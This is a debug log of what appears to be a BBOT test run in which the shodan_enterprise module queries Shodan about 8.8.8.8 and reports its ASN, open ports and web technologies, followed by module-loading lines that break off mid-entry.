base.py:1563 Finished setting up module python -2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:11:25,983 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:11:25,984 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:11:25,984 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:11:25,984 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:11:25,985 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:11:25,986 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:11:25,986 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:11:25,986 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:11:25,986 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:11:26,153 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_psen6szjf5 -2026-02-27 22:11:26,154 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:11:26,272 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:11:26,273 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:11:26,273 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:11:26,274 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 22:11:26,374 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 22:11:26,375 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 22:11:26,376 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 22:11:26,377 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,379 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:11:26,380 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:11:26,380 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:11:26,380 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:11:26,383 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:11:26,384 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:11:26,386 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:11:26,387 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:11:26,389 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:11:26,389 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:11:26,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,393 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:11:26,394 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,395 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,395 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 22:11:26,395 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 22:11:26,396 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 22:11:26,396 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:11:26,397 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,401 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:11:26,493 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:11:26,496 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 22:11:26,497 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:11:26,498 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:441b062720453a6fb98f8a70af9c05240c55f5c8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:11:26,499 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 22:11:26,499 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 22:11:26,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:11:26,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:11:26,501 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-02-27 22:11:26,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:11:26,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:11:26,503 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:11:26,504 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:11:26,504 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:11:26,505 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:11:26,506 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,506 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,506 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:11:26,507 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:11:26,507 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:11:26,508 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,509 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,510 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,510 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,510 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,511 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:11:26,512 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) -2026-02-27 22:11:26,512 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) because precheck succeeded -2026-02-27 22:11:26,513 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:11:26,513 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:11:26,514 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,514 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:11:26,515 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:11:26,515 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,516 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,516 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,517 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target -2026-02-27 22:11:26,517 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:11:26,518 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:11:26,518 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,519 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,519 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:11:26,519 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,520 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:11:26,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:11:26,522 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:11:26,523 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,523 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:11:26,524 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,524 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,524 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,525 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:11:26,526 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,526 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,526 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,527 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:11:26,527 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:11:26,528 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:11:26,528 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,529 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:11:26,529 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded -2026-02-27 22:11:26,530 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,530 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,531 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:11:26,531 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:11:26,600 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-02-27 22:11:26,601 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:11:26,602 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:11:26,602 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:11:26,603 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:11:26,603 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,603 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:11:26,604 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,604 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise -2026-02-27 22:11:26,605 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:11:26,605 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:11:26,606 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:11:26,606 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:11:26,607 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:11:26,608 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:11:26,608 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:11:26,610 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:11:26,610 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:11:26,611 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:11:26,611 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:11:26,712 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:11:26,713 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:11:26,732 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:11:26,733 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:11:26,733 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:11:26,745 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:11:26,746 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:11:26,747 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:11:26,748 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:11:26,749 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:11:26,750 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:11:26,875 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_psen6szjf5 completed in 0 seconds with status FINISHED -2026-02-27 22:11:26,875 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:11:26,876 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:11:26,878 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:11:26,879 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:12:09,450 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:12:09,452 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:12:09,464 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:12:09,465 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:12:09,466 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:12:09,467 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:12:09,468 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:12:09,470 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:12:09,471 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:12:09,476 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:12:09,477 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:12:09,480 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:12:09,481 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:12:09,482 [DEBUG] bbot.module_loader modules.py:351 